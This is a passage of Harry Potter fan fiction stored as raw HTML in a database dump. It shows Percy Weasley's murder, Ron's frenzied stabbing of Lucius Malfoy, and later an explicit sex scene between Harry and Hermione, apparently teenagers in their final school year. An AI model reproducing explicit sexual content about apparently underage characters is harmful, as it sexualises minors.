Voldemort was clearly dead; his skeletal body void of breath and covered in blood. The red eyes had closed forever.</p>\n\n<p></p>\n\n<p>Lucius Malfoy let out a soft cry and strode forward, kneeling beside his fallen lord. </p>\n\n<p></p>\n\n<p>Draco still stood with Ginny across the room, smirking. &#8220;Well, Father; loyal dog that you are, you&#8217;ll have no trouble finding another master. I can even write you a recommendation.&#8221; </p>\n\n<p></p>\n\n<p>The Death Eaters broke at these words and Lucius stood back up, attention divided between his fallen master, his master&#8217;s killer, and his son. Finally he settled on Ron and strode forward, wand at the ready.</p>\n\n<p></p>\n\n<p>&#8220;You&#8217;ve sealed your death, boy!&#8221; he shouted.</p>\n\n<p></p>\n\n<p>&#8220;No,&#8221; another voice said calmly. Another Death Eater stepped from the circle and threw back his hood, revealing the enraged face of Percy Weasley. &#8220;You won&#8217;t touch my brother, Lucius.&#8221;</p>\n\n<p></p>\n\n<p>Mrs Weasley screamed then, sobbing into her husband&#8217;s shoulder. Mr Weasley held her tightly to him. Fred and Charlie seemed confused more than anything else. Ron&#8217;s mouth gaped open as he saw his brother: his stuffy, intellectual, and always gentle brother, wearing the black robes of a Death Eater.</p>\n\n<p></p>\n\n<p>Lucius turned away from Ron with a sneer to address Percy. &#8220;Who are you to stop me?&#8221;</p>\n\n<p></p>\n\n<p>Percy flinched and walked closer, his legs working under him stiffly. &#8220;You said that my family would be safe forever if I joined with your cause. You said that we were only here to get Harry. But Our Lord is dead now, there&#8217;s no need to do this.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;And I also said that I loved you,&#8221; Lucius said with an exasperated roll of his eyes. &#8220;How gullible are you, Weasley?&#8221; He looked down his nose as Percy&#8217;s face collapsed in on itself, his horn-rimmed glasses shining as brightly as the tears running down his cheeks.</p>\n\n<p></p>\n\n<p>&#8220;I was a fool,&#8221; he whispered hoarsely, shaking his head from side to side very slowly. &#8220;I was a fool to ever believe your lies.&#8221;</p>\n\n<p></p>\n\n<p>Lucius lifted an eyebrow. &#8220;If it makes you feel better, I&#8217;m very convincing.&#8221; He smiled coldly. &#8220;Not that I care either way. Good-bye, Weasley.&quot;</p>\n\n<p></p>\n\n<p>He raised his wand then and chanted the killing curse. Ginny screamed out and tried to run toward her brother, but Draco&#8217;s arm was wrapped firmly about her waist. Ron closed his eyes. He didn&#8217;t want to see the green light shoot out the end of Lucius&#8217; wand and strike his brother in the chest, as he knew it would. Ron could hear his mother&#8217;s sobs, his father shouting, and the sickening crack of bone against limestone. When he opened his eyes again, Percy was on the floor. </p>\n\n<p></p>\n\n<p>The glasses that had made him appear so studious and attentive, so intelligent, lay crushed to the side. His face was serene and relaxed. There was no mark on Percy&#8217;s body that stated clearly he was dead. But it could be surmised from the silence of his lungs and the twisted pallor creeping over his flesh.</p>\n\n<p></p>\n\n<p>&#8220;Percy!&#8221; Ginny screamed, stretching out a hand to touch his fallen body even though it was across the room. &#8220;Don&#8217;t go, Percy!&#8221; she sobbed brokenly, covering her face with her hands. &#8220;Don&#8217;t lea-ve me,&#8221; her voice cracked as her shoulders shuddered with raw heaves and moans.</p>\n\n<p></p>\n\n<p>Lucius pocketed his wand with a dramatic flourish. &#8220;One Weasley down, several more to go.&#8221;</p>\n\n<p></p>\n\n<p>Ron gritted his teeth. The arrogant bastard had his back turned and&#8212; and he was still holding the knife! </p>\n\n<p></p>\n\n<p>Before Lucius could move further, Ron leapt forward with an enraged yell and planted his blade deeply into the man&#8217;s back. The knife was dull and nicked from hitting several of Voldemort&#8217;s bones, but it still worked. It glided easily in and out as Ron pushed it to the hilt again and again. Once for Percy, once for his sister, and once just for being born. The bastard deserved to die a thousand deaths for hurting his family and the knife rose and fell with an easy rhythm. After killing a Dark Lord, a Death Eater seemed easy in comparison. Voldemort had been sub-human, and registered somewhere in the realm of a dangerous animal that needed to be put down. But the part of Ron&#8217;s mind that said killing another human being is wrong winked out and he saw everything through a red-tinged haze of blood lust.</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>As if Ron&#8217;s actions had finally freed them, his family broke out of their stupor and fought back. Molly, her face red and streaming tears, picked up her skillet and bashed in the skull of the nearest Death Eater with a wild, chilling cry. Fred and Charlie wrestled two more to the ground, snatching away their wands. Mr Weasley hit another square in the face and took a wand as well, crying &#8216;<i>Expelliarmus!</i>&#8217; at the one hovering near his daughter and Draco.</p>\n\n<p></p>\n\n<p>Ginny broke away from Draco&#8217;s firm grip and grabbed the biscuit box from the table, throwing it at a Death Eater who was in the middle of cursing Ron. It hit the man full in the face and shattered ceramic and shortbreads, blood dribbling from his nose.</p>\n\n<p></p>\n\n<p>There were only two black robed figures left who had not been injured, and they pointed their wands at Ron, shouting the killing curse in unison. Fred and Charlie took aim and fired two different hexes, sending one to his knees and the other flying across the room.</p>\n\n<p></p>\n\n<p>Draco coolly picked up a wand off the ground, sticking it in the chest of one man who was trying to rise. It didn&#8217;t take much brainpower to figure out who was winning now, and Draco wanted to insure that he was on the proper side.</p>\n\n<p></p>\n\n<p>&#8220;Call off your hounds, Avery. You&#8217;ve lost the war.&#8221;</p>\n\n<p></p>\n\n<p>The man stiffened and glared up at Draco. &#8220;Lucius should have killed you first.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;But he didn&#8217;t,&#8221; Draco stated evenly, glancing around at the other Death Eaters being rounded up. &#8220;Now you&#8217;re as good as dead because of his mistakes.&#8221;</p>\n\n<p></p>\n\n<p>Avery sneered at him. &#8220;I&#8217;m not afraid of death.&#8221;</p>\n\n<p></p>\n\n<p>Draco let one brow rise. &#8220;Really? Do you mind if I test that theory?&#8221;</p>\n\n<p></p>\n\n<p>Charlie came over and kicked Avery sharply in the temple and took the wand away from Draco. &#8220;Don&#8217;t do something you&#8217;ll regret.&#8221;</p>\n\n<p></p>\n\n<p>Draco scoffed. &#8220;I doubt I&#8217;d regret killing this vermin.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;You would if you got sent to Azkaban for it,&#8221; Charlie said darkly, glancing at his brother Ron over his shoulder. &#8220;Don&#8217;t go berserk on us now, china. We&#8216;ve already got him to worry about.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;He won&#8217;t go to Azkaban. He killed the Dark Lord. Hell, if anything they&#8217;ll be throwing flowers at him in some stupid parade and shouting his name from the rooftops.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I didn&#8217;t mean that. He&#8217;s&#8212; well, scary would be the word for it. I couldn&#8217;t have done what he just did.&#8221;</p>\n\n<p></p>\n\n<p>Draco&#8217;s reply was interrupted by a loud moan from Mrs Weasley.</p>\n\n<p></p>\n\n<p>&#8220;Percy!&#8221; she cried. &#8220;Oh, my baby.&quot;</p>\n\n<p></p>\n\n<p>She knelt down on the floor beside Percy&#8216;s lifeless body, oblivious to her husband and son working around her to restrain the Death Eaters. Cradling his head against her breast, she wept, rocking to and fro. &#8220;My baby,&#8221; she murmured softly into his hair, running a hand down his arm and back up to his shoulder.</p>\n\n<p></p>\n\n<p>Draco felt it rude to disturb her grief and walked over to where his father&#8217;s body lay. Lucius was still and covered in blood, face down in puddles of it even. The stones under him would never be completely free of the stains; there would always be a reminder that it was <i>this </i>spot where Lucius Malfoy died. This house, with its mended rugs and chipped crockery.</p>\n\n<p></p>\n\n<p>Glancing up, he could see that Ron was still out of it. The boy hadn&#8217;t moved a muscle in several minutes and was in danger of remaining that way permanently if someone didn&#8217;t intervene. Well, today wasn&#8217;t Draco&#8217;s day to play hero. </p>\n\n<p></p>\n\n<p> Tomorrow didn&#8217;t look good either.</p>\n\n<p></p>\n\n<p>Turning around, Draco grabbed the bright chintz cloth off the kitchen table and covered his father&#8217;s body with it. The man deserved at least a modicum of dignity, even if he was a first-rate bastard. </p>\n\n<p></p>\n\n<p>He wouldn&#8217;t cry, the arse didn&#8217;t deserve tears. But someone had forgotten to tell his body that because there they were, two small rivulets of water streaming down his cheeks. It was the second? Third time maybe that he had ever cried.</p>\n\n<p></p>\n\n<p>Draco looked up when a shadow fell over his father&#8217;s corpse. It was Fred. The boy shook his head sadly and patted Draco on the shoulder.</p>\n\n<p></p>\n\n<p>&#8220;He was an arse, but still <i>Da</i>, y&#8217;know? Don&#8217;t feel bad for letting it out, we all do sometimes.&#8221;</p>\n\n<p></p>\n\n<p>Then he was gone, walking back over to where his twin was only just coming around from a massive blow to the head. George had missed a lot, not that he&#8217;d be sorry about that, though.</p>\n\n<p></p>\n\n<p>Mr Weasley was trying to make Ron let go of the knife still stuck to his palm. He glanced up to offer Draco a weak smile and a shake of his head as if to apologise for his son&#8217;s actions. It hadn&#8217;t been strictly necessary to kill Lucius Malfoy. But what was done was done and nothing would change that.</p>\n\n<p></p>\n\n<p>Draco let his eyes wander over a few feet to take in Voldemort&#8217;s twisted body. It was strange how no one else seemed to notice it lying there. The whole affair felt somehow&#8212; anticlimactic, too easy. Just last night he&#8217;d had a first-class shag, followed by a good night&#8217;s rest on a pleasantly soft body, then this morning he woke up and witnessed the death of the Dark Lord.</p>\n\n<p></p>\n\n<p>He walked over to the table, picking up one of the chairs that had been knocked over, and sat down. Ginny was holding onto her mum now and the rest of them crowded around the body of their fallen brother. The betrayer.</p>\n\n<p>If they could forgive Percy, even in death, shouldn&#8216;t he be able to forgive his father? </p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<b><p></p>\n\n<p>Please review, it makes my life worth living. Well, at least it makes me want to write more. Remember the months and months I\'ve spent on this and the months that will probably follow what with formatting, editing, re-editing, and more writing. (Do you feel guilty yet? I know I do.)</p>\n\n<p>Cheers, Sing</p>\n\n</b><p></p></font>\n\n</font></blockquote><font size="4" face="Garamond">\n\n '),
	(271, 17, '\n\n\n\n<title>Chapter Sixteen</title>\n\n\n\n<blockquote>\n\n<p>Authour\'s Notes: I\'d like to thank you all for the reviews so far. They mean a lot to me. Also, I thank all of those who have stuck with this story so far. Trust me when I say, you\'re in for a journey. lol. I decided to collapse chapters 16 &amp; 17 together, so that the real adventure begins in chapter 17. I know that some of you expressed doubts about Voldemort\'s death. One reviewer fondly stated that I had \'blown the whole story\' because of the way that Voldemort died. Well, <em>I</em> don\'t think I blew the story. Ron killed him with a knife, the end. You\'ll all get to see more of the consequences of his actions in chapter 17, I believe it is now. Things are about to really heat up, so hold on to your knickers. Also, I want to see if any of you catch the meaning between the lines, so to speak, in this chapter; the part between Harry and Hermione, more specifically. I know that most of you have asked what happened to Harry and Hermione while all of this was going on. Well, here\'s your answer. *smirks*</p>\n\n<p>Oh, and I know that some of you wanted to know more about Percy. Well, he gets his very own chapter, just for him, later on. Chapter 27 is Percy\'s story and I\'ve already written it. As for all of your other unanswered questions, they will all be answered in time. <em>Everything</em> is answered in time. :)</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry was cold.</p>\n\n<p>The short walk he had anticipated seemed to last forever. He glanced down at Hermione, who was clinging to his hand, and thought to himself that she didn&#8217;t deserve this. She didn&#8217;t deserve to be out in the snow just because he&#8217;d lost his temper. </p>\n\n<p>&#8220;Hermione, we should go back.&#8221;</p>\n\n<p>&#8220;Go back?&#8221; She looked at him as if he&#8217;d suddenly grown a bird&#8217;s beak, the cold wind reddening her cheeks and battering fine hairs that had escaped from the knot she had wound on the back of her head. &#8220;Of course we shouldn&#8217;t go back. I can&#8217;t imagine having to face Ron again; at least not this soon. And it&#8217;s Christmas; I want to enjoy it.&#8221;</p>\n\n<p>Harry frowned but kept moving. He wouldn&#8217;t go back if she was that adamant about it. But there was this feeling that kept urging him to ignore Hermione and walk back to the Burrow. Not to mention that his scar was throbbing more than usual. </p>\n\n<p>They broke through the trees then and the tiny village of Ottery St. Catchpole stood at the bottom of the hill. Smoke from dozens of chimneys filled the air and Harry welcomed the earthy smell of burning peat. It was so quaint and old-fashioned, just like the village itself. He walked more quickly, anxious to dry off in front of one of those roaring fires.</p>\n\n<p>&#8220;Harry, slow down! You <i>do</i> remember that my legs are much shorter than yours are?&#8221; Hermione asked him. Her teeth were chattering so much that it was difficult to make out what exactly she was saying, but Harry understood.</p>\n\n<p>&#8220;Oh, sorry.&#8221; He stopped and waited for her to catch up before slipping his frozen fingers back into her hand. &#8220;Come on, it&#8217;s not much further.&#8221;</p>\n\n<p>&#8220;I see it,&#8221; she sighed, gripping his hand tight. &#8220;I&#8217;m so hungry I could eat a Hippogriff. Are you sure they&#8217;ve lodgings down there?&#8221;</p>\n\n<p>&#8220;Yes, I came here last year with Mr. Weasley. Remember when he became obsessed with Muggle beer?&#8221;</p>\n\n<p>Hermione giggled. &#8220;I remember. Mrs. Weasley was furious when you brought him back. He was more than three sheets to the wind that night.&#8221;</p>\n\n<p>Harry smiled briefly. &#8220;Well, he&#8217;d had more than just a few pints. He kept drinking and scribbling into his notepad. The terrible thing was that he could never figure out what he had written and Mrs. Weasley forbade him to ever go back again.&#8221;</p>\n\n<p>Hermione sighed, breath clouding in front of her mouth. &#8220;I do feel awful now, Harry. Perhaps we should have stayed. I mean, we&#8217;ve spent the last two Christmases at the Burrow. Maybe I could have ignored Ron.&#8221;</p>\n\n<p>&#8220;Do you want to go back?&#8221;</p>\n\n<p>She thought about it a moment and shook her head. &#8220;Not now, we&#8217;re already here. Maybe we can go back later.&#8221;</p>\n\n<p>Harry nodded. They were coming up on the first street and the inn he remembered wasn&#8217;t much further ahead. It would be stupid to go back now. </p>\n\n<p>A sign, half covered with frost read &#8216;The Sparrow&#8217;. The building was made of stone and seemed incredibly old, but secure. Obviously, it was well cared for.</p>\n\n<p>Harry dropped Hermione&#8217;s hand and pulled out his money pouch. There were a few Sickles at the bottom along with four twenty-pound notes. It would surely be enough for a room in the village and passage to London on one of the tube trains that came through Thorney, which was only a mile away. He could always get more at Gringott\'s once they arrived back in London.</p>\n\n<p>The innkeeper seemed surprised to see two young people walk into his establishment so early on Christmas morning, but he welcomed them anyway and ushered them up the stairs to a modest sized room. Harry paid him with two of the twenties and set their trunks down near the door.</p>\n\n<p>Hedwig, Hermione, and their cloaks all received an odd glance from the innkeep, but the man kept his peace and accepted the money. He said breakfast would be available in a few hours and to have a Happy Christmas before closing the door.</p>\n\n<p>Hermione walked over and lit a fire in the grate. She rubbed her hands briskly and tossed a few bricks of peat into the hearth before settling on the small sofa in front of it.</p>\n\n<p>&#8220;I&#8217;m freezing,&#8221; she said, holding the backs of her arms. &#8220;This place is terribly drafty.&#8221;</p>\n\n<p>Harry shrugged out of his cloak and hung it near the fire to dry, slipping out of his overshoes and regular shoes. </p>\n\n<p>&#8220;The building is made of stone and the windows are sealed tight. Once the fire gets going, it&#8217;ll be warm.&#8221;</p>\n\n<p>&quot;I hope so,&#8221; Hermione shivered out. &#8220;Could you bring me the quilt off that bed?&#8221;</p>\n\n<p>Harry grabbed it and walked back to the couch, wrapping it around her shoulders before kneeling down to take off her shoes. </p>\n\n<p>&#8220;You&#8217;ll get mud and snow all over the sofa,&#8221; he murmured.</p>\n\n<p>Hermione grinned at him, eyes dancing. &#8220;I thought I was the house-elf today.&#8221;</p>\n\n<p>&#8220;We&#8217;ll take turns,&#8221; Harry returned dryly as Hermione wriggled her toes at him. It brought to mind that night they had sat in front of the fire at the Burrow. The night he had kissed her for the first time. </p>\n\n<p>&#8220;Come keep me warm, Harry. There&#8217;s plenty of blanket for both of us.&#8221;</p>\n\n<p>Harry stood and motioned for Hermione to lean forward so he could sit behind her. He pulled her back against his chest while she fussed with covering up his legs, tucking the ends underneath their bodies. Hermione didn&#8217;t make a bother over him because she thought he was weak, she did it because she cared and Harry respected that. It had taken ages to understand, but now that he did, Harry was glad that there was someone who would always fuss over him. Just a little bit.</p>\n\n<p>&#8220;There,&#8221; she said at last. &#8220;Like a cocoon.&#8221;</p>\n\n<p>He mumbled something against her hair and squeezed his arms around her middle a little tighter. There was definitely something to be said for being more than &#8216;just friends&#8217;. </p>\n\n<p>It was Christmas morning and they were together. He could see stretching out before him years upon years of Christmas mornings spent with Hermione, holding her like this. There was the winter perfume of her hair and the softness of her body in his arms, the warmth of his love keeping her safe from the world. </p>\n\n<p>Harry couldn&#8217;t imagine being more content with life than he was at that moment.</p>\n\n<p>Hermione sighed and tilted her head to the side, leaning it against his left shoulder. &#8220;This is nice,&#8221; she murmured, tracing a finger over the pattern of the quilt. &#8220;Just the two of us, no interruptions.&#8221;</p>\n\n<p>Harry rumbled his agreement and buried his face in her neck. He was so sleepy and she was so warm, her heart beating against his chest. The heat between them was intensifying, becoming tangible, and Harry pressed a few tired kisses to the flushed skin under his lips.</p>\n\n<p>Hermione&#8217;s breath hitched and she shifted against him, her hand gripping his knee under the blanket. Harry could feel something stirring down below and he kissed her neck a few more times before moving up to her ear. His hands seemed to be guiding themselves up over Hermione&#8217;s torso to cup her breasts.</p>\n\n<p>&#8220;Hermione,&#8221; he breathed into her ear. Harry felt his own hot breath reflected against her skin. Her name was repeated again and again as his hands moved over the buttons of her blouse to reach inside and touch the soft flesh.</p>\n\n<p>He felt drunk. A warm feeling, like that of drinking Fire Whiskey straight from the bottle, washed over him and Harry closed his eyes, revelling in the contact of skin on skin. Hermione moaned softly, kneading his thigh with her cold fingers.</p>\n\n<p>&#8220;Harry,&#8221; she said, the sound coming from the back of her throat. &#8220;What are you doing to me?&#8221;</p>\n\n<p>He didn&#8217;t answer, but instead dropped one of his hands to her leg, hitching her skirt up slowly, his fingers dancing over the outside of her thigh. She sat up then and half-turned her body to face him. Harry thought for a moment that she was going to make him stop, but instead she kissed him soundly on the mouth. </p>\n\n<p>Her tongue flickered against his lips while her hands came up to hold the side of his face. Harry trailed his fingers over her ribs, down to her waist. He kissed her back then, the need for her evident from the way his fingers curled over her blouse. </p>\n\n<p>Control was fast slipping away. </p>\n\n<p>Harry slid to the right and pushed her back against the couch, climbing on top to nestle his body between her thighs. Hermione looked him in the eye then, straight and true. She held his gaze a moment longer before he bent down to kiss her throat. Harry trailed his mouth down to the well between her breasts, pushing the material that clung to them aside with a trembling touch. Things were going so fast that it made his head spin and he latched his lips around her nipple in the hopes that it would all stop whirling if he just had a firm hold on something. She arched and gasped, bringing her legs up to lock ankles over his back.</p>\n\n<p>Hermione had him now. He wasn&#8217;t spinning anymore. </p>\n\n<p>His hand kneaded one breast while working the other with his mouth. The taste of Hermione&#8217;s skin was all that he had imagined it to be; hot, buttery-smooth and melting over his tongue. The nub in his mouth was pebbling, turning hard with desire and her breath clouded his glasses. Hermione pushed his head away and looked him in the eyes again. Harry thought she was finally going to say something, tell him to stop, and he felt a flush of frustration and embarrassment stain his skin. But Hermione only removed his specs and set them on the floor, she didn&#8217;t say a word. </p>\n\n<p>Now everything was softly out of focus and her tiny, cold fingers fumbled between their bodies, tugging at his belt until it was free and flinging it into the fire. Harry pushed her woollen skirt up with shaky hands and plucked clumsily at the scrap of cotton cloth underneath until he was able to pull them down her thighs the same time as she released the buttons on his fly. Hermione was pushing his trousers down and kicking them off with her feet as he kissed her on the lips again, his tongue plunging deeply into her mouth and tasting the winter cold from outside. Her hands roamed over his lower back to the band of his boxer shorts, sending them to meet their fellows on the floor quickly. Hermione&#8217;s crisp button-down and white, cotton bra followed, and Harry was somehow able to contort her body enough so that he could pull her knickers the rest of the way down her legs. There was suddenly very little left to cover the two lovers.</p>\n\n<p>Somewhere in the back of his mind, Harry knew that he should say something, to stop this before she regretted it. To the best of his knowledge, she&#8217;d never done this before, and he&#8217;d only had a few rolls in the hay with that girl from the Quivering Rooster. But Hermione, sensible Hermione, had no intentions of halting the exploration of teeth and tongues, and she demonstrated this by kneading his bottom with fingers that were thawing from his body heat. </p>\n\n<p>Harry moved away from her mouth and toward a tender earlobe to the side, the heat of it all making him see double. &#8220;Hermione, we should stop.&#8221;</p>\n\n<p>&#8220;No,&#8221; she shushed while peppering kisses over his neck. &#8220;I want to be reckless for once, Harry.&#8221;</p>\n\n<p>&#8220;But&#8212;&#8221; Harry licked his lips, still tasting the salt of her skin. &#8220;We&#8217;ve only just started a&#8212; a relationship and you&#8216;ve never . . .&#8221;</p>\n\n<p>&#8220;Harry.&#8221; She grabbed his face with one hand and turned it so she could touch her damp forehead against his. &#8220;We&#8217;ve known each other for years. It&#8217;s different for us.&#8221;</p>\n\n<p>&#8220;But&#8212;&#8221; </p>\n\n<p>Hermione cut him off by pressing her moist lips to his, inhaling his breath, and he forgot every argument he had against the wonderful feeling she was creating inside him. Harry opened his mouth and she plunged inside, roughing his tongue while reaching between them to stroke his erection with trembling fingers.</p>\n\n<p>&#8220;Hermione,&#8221; Harry gasped out, hunching forward and breaking his mouth away to place it instead over the wildly beating pulse on her neck. The need to complete the act was irresistible, especially as the peaked tips of her breasts strained against his chest in urgency. </p>\n\n<p>The fabric of the sofa was coarse under Harry&#8217;s hand as he pushed himself up to hover over her. Hermione&#8217;s skin had taken on a ruddy glow and her breath was hitching in excitement, making her breasts heave and fall dramatically. She brushed the hair from his eyes with her free hand.</p>\n\n<p>&#8220;Harry.&#8221; Hermione&#8217;s voice wavered. &#8220;Don&#8217;t stop now.&#8221;</p>\n\n<p>This crumbled all resolve and he closed her eyes with the gentle pressure of his mouth, shifting his hips to push his erection against her entrance. It was slow, and Hermione turned her head to bite his forearm with sharp teeth, her eyes screwed tightly shut as Harry pushed further and felt the small liquid burst of something breaking at the same moment a sharp, stabbing pain lanced over his forehead.</p>\n\n<p>Harry sucked in a breath and stared down at Hermione, who was now gazing up at him expectantly, tears welling in her large, brown eyes. He ignored the ache in his head and, eyes never leaving hers, he slowly built a rhythm comprised of strokes both deep and shallow in relation to her breathing. Hermione&#8217;s ridged inner muscles clamped down and her hips awkwardly rolled up to meet his as he inhaled, thrust, exhaled, plunge, inhale, exhale. </p>\n\n<p>The hair next to his fingers was crisp but soft, and Harry released the clip holding it together so he could wind a skein around his hand to hold her head back, exposing the sensitive flesh of her neck. Hermione&#8217;s breath was coming in great gulping pants and a rumble started deep in the back of her throat. His lips were cool compared to the skin beneath them as he covered her neck in kisses before suckling a spot just below her ear, feeling the mad fluttering of her pulse. It seemed to go on for hours, days, and years.</p>\n\n<p>Harry was trying desperately to remember what one of his friends had told him about women. There was a spot somewhere that if he touched it, she&#8217;d&#8212;well, have a good time. If he could only find it . . . Harry reached down between them to stroke her with his thumb, searching for a small knot. When Hermione gasped, he knew that he had found it. Harry rubbed in gentle circles as he sheathed himself in her warm, moist flesh. Hermione was tensing all around him as the thrusts became more urgent and he sucked her neck harder, gnawing the flesh to keep himself from screaming as his release drew closer. There was one, and then two more deep strokes before he could feel himself droop and slide out of her wet opening.</p>\n\n<p>Harry collapsed, letting his arms come around to hold her closer to him as he gave her a gentle peck on the lips. The pain of his scar was gone, gone completely for the first time in years as if it had never been and he relaxed further against her. Hermione sighed contentedly and returned the embrace, her ankles slipping down from his hips to lie over his calves.</p>\n\n<p>&#8220;Mmmn, I don&#8217;t think I&#8217;ve felt this nice in . . . well, ever,&#8221; Hermione whispered against his neck. &#8220;You do know how to warm someone up, Mr. Potter.&#8221;</p>\n\n<p>&#8220;Glad I could oblige, Miss Granger,&#8221; Harry mumbled, burying his face in her hair.</p>\n\n<p>&#8220;Well, as warm as it is this way, my ribs are starting to hurt.&#8221;</p>\n\n<p>&#8220;Oh.&#8221; Harry scrambled off of her quickly, before sitting down to pull her close to him. &#8220;I forgot that you&#8217;re still tender there. Did I hurt you?&#8221;</p>\n\n<p>Hermione shook her head in the negative before resting it on his shoulder. &#8220;No, I&#8217;m fine.&#8221;</p>\n\n<p>Harry stared at the embers in the grate and fiddled his fingers nervously. &#8220;We shouldn&#8217;t have done that, Hermione,&#8221; he said after a moment.</p>\n\n<p>&#8220;<i>You </i>do things all the time that you aren&#8217;t supposed to do. I&#8216;m terribly impressionable, you know.&#8221;</p>\n\n<p>&#8220;But you&#8217;d never&#8212;&#8221;</p>\n\n<p>&#8220;Harry.&#8221; Hermione sat up and placed a hand on each side of his face, resting her forehead against his again. &#8220;The rules don&#8217;t apply to us. We&#8217;ve been friends for almost seven years. That&#8217;s more time getting to know each other than most people these days.&#8221;</p>\n\n<p>He stared at her for a moment, her eyes a large, brown blur, before shaking his head and laughing quietly. &#8220;I really am a bad influence on you. I never thought I&#8217;d hear you say rules don&#8217;t apply.&#8221;</p>\n\n<p>She pulled away and smiled softly. &#8220;Yes, you&#8217;re the absolute terror of my waking hours.&#8221;</p>\n\n<p>&#8220;Mmmn, waking.&#8221; Harry glanced over at the bed. &#8220;Why don&#8217;t we sleep in for awhile? Then we can go downstairs and eat breakfast and trade gifts.&#8221;</p>\n\n<p>Hermione stifled a yawn and picked up the quilt, wrapping it around her half-naked body as she made her way to the bed, flopping down on it like a child. Harry followed her example and was soon spooned up against her. He still had his shirt on and he was thankful for the extra warmth, as the bed itself was very cold. She shivered and wrapped his arms around her body more tightly.</p>\n\n<p>&#8220;I&#8217;m dreadfully tired all of a sudden, and I had a full night&#8217;s rest and everything.&#8221;</p>\n\n<p>Harry smiled and kissed her neck. &#8220;I wore you out, then?&#8221;</p>\n\n<p>She scoffed and batted his hand, already falling asleep. &#8220;You&#8217;re awfully full of yourself, Mr. Potter.&#8221;</p>\n\n<p>&#8220;So you&#8217;ve told me, Miss Granger,&#8221; he mumbled into her ear as his eyelids closed. A gentle snore was his only reply.</p>\n\n<p>&nbsp;</p>\n\n<p>*~*~*~*~*</p>\n\n<p>&nbsp;</p>\n\n<p>Who would have thought that Fred Weasley was intelligent?</p>\n\n<p>Draco surely didn&#8217;t. But he had to give the boy credit for keeping his cool throughout the long day that followed Voldemort&#8217;s death.</p>\n\n<p>Fred started simply enough. He mourned with his family, murmuring things into his twin&#8217;s ear while still managing to embrace his father as they hovered over the body of their dead brother. But after a suitable amount of time, perhaps an hour, he stood up and examined the Death Eaters, making sure that their bonds were tight and there was no chance of them escaping. Then he checked on his other brother, Ron, who was still standing in the same place he had been after killing Lucius.</p>\n\n<p>Fred went over to whisper something in his father&#8217;s ear before walking outside, past the hedgerows, and Apparating away. Draco still sat at the kitchen table, dimly taking in everything that happened next.</p>\n\n<p>Only a few moments after he&#8217;d left, Fred reappeared, dragging along Cornelius Fudge, who was still in his tasselled nightcap and dressing gown. The man shrieked when he saw the shrivelled remains of Lord Voldemort lying on the floor and a gaggle of Death Eaters tethered together with rope over near the larder. For a moment, Draco thought that the Minister would faint, but was sadly disappointed.</p>\n\n<p>&#8220;Now do you believe that You-Know-Who came back?&#8221; Fred queried acidly, hands on his hips in the posture of one deeply exasperated.</p>\n\n<p>Fudge nodded dumbly. &#8220;I-I see that I may have been mistaken. I&#8217;ll call the Aurors in at once.&#8221;</p>\n\n<p>He attempted to Disapparate there before Fred reminded him that he had to walk outside of the property first. Fudge shuffled out, flapping his slippered feet over the stones and out of the kitchen door.</p>\n\n<p>Fred chuffed and took a seat opposite of Draco, shaking his head. &#8220;Who&#8217;d have thought that I&#8217;d be ordering around the Minister of Magic?&#8221;</p>\n\n<p>Draco didn&#8217;t say anything; he was staring at the group still huddled around Percy. All of the red heads gathered so close to each other seemed out of place against the bleak atmosphere. They were too bright and vivid, the colours melding into a single fire that would never warm their brother again.</p>\n\n<p>Fred followed Draco&#8217;s eyes to their source and put a hand to his face, attempting to wipe away the sticky trail of former tears.</p>\n\n<p>&#8220;I&#8217;m done with crying,&#8221; he said softly. &#8220;I suppose I was never made for it in the first place because they just won&#8217;t come to me anymore, no matter how much I want them, too.&#8221;</p>\n\n<p>Draco lifted an eyebrow in response, but his focus was on Ginny. Her tears had trickled down into one or two every now and then, with maybe a soft sigh or gulp of breath to break the monotony. He couldn&#8217;t stop thinking of how ugly she was just then: the splotches on her nose and cheeks, under her eyes, and over the usually pale expanse of her neck. Freckles that had almost faded completely away reappeared with a vengeance and the combined effect was hideous.</p>\n\n<p>It only furthered his conviction that grief, like any other emotion, was an appalling thing to see.</p>\n\n<p>&#8220;I appreciate you keeping her out of harm&#8217;s way today, Malfoy.&#8221;</p>\n\n<p>Draco glanced over at Fred, finally acknowledging that he was there. Maybe he wasn&#8217;t as intelligent as Draco had given him credit for after all. </p>\n\n<p>&#8220;I had no wish to die. If she had gone out there and thrown herself in front of Percy, she doubtless would have dragged me with her.&#8221;</p>\n\n<p>Fred shook his head again; it seemed to be habit forming. &#8220;You&#8217;re a cold fish, Malfoy. I don&#8217;t suppose it would kill you to say that you did it to keep an innocent girl safe?&#8221;</p>\n\n<p>Draco sniffed at the thought. Ginny was hardly innocent. &#8220;I worry about myself first, others last if at all. Or hadn&#8217;t you figured that out by now?&#8221;</p>\n\n<p>The older boy turned to glance at Lucius&#8217; body before coming back to Draco. &#8220;That&#8217;s what he thought, too.&#8221; Fred indicated the corpse with a jut of his chin. &#8220;And look where he is now. You&#8217;ll get the same if you don&#8217;t change your attitude.&#8221;</p>\n\n<p>&#8220;A threat, Weasley?&#8221;</p>\n\n<p>&#8220;No,&#8221; Fred said slowly, rolling the word around in his mouth. &#8220;Just a friendly warning. You may be an annoying little arse, but I don&#8217;t think you&#8217;re so far gone as to deserve <i>his </i>fate.&#8221;</p>\n\n<p>Draco could see the pity in Fred&#8217;s eyes and it disgusted him. The Weasleys had seen him at his worst, and they&#8217;d been the cause of some of it, but none of them had dared to be so open about their commiseration until now. Not even soft-hearted Ginny, who had empathised, but never degraded him so much as her brother was doing right now.</p>\n\n<p>Fred stood up and looked around the room, making sure everything was still in order before turning his attention back to Draco. &#8220;I&#8217;m off to see if I can find Harry. Do you know where he is? Poor bloke should know what&#8217;s happened.&#8221;</p>\n\n<p>&#8220;I don&#8217;t have a clue. I heard he was on his way to London though.&#8221;</p>\n\n<p>&#8220;London.&#8221; Fred whistled. &#8220;Wonder what capped his bum so bad that he just up and left like that.&#8221;</p>\n\n<p>Draco didn&#8217;t say anything, but stared pointedly at Ron. Fred understood.</p>\n\n<p>&#8220;Ah, well they&#8217;re always bickering about something or t&#8217;other. 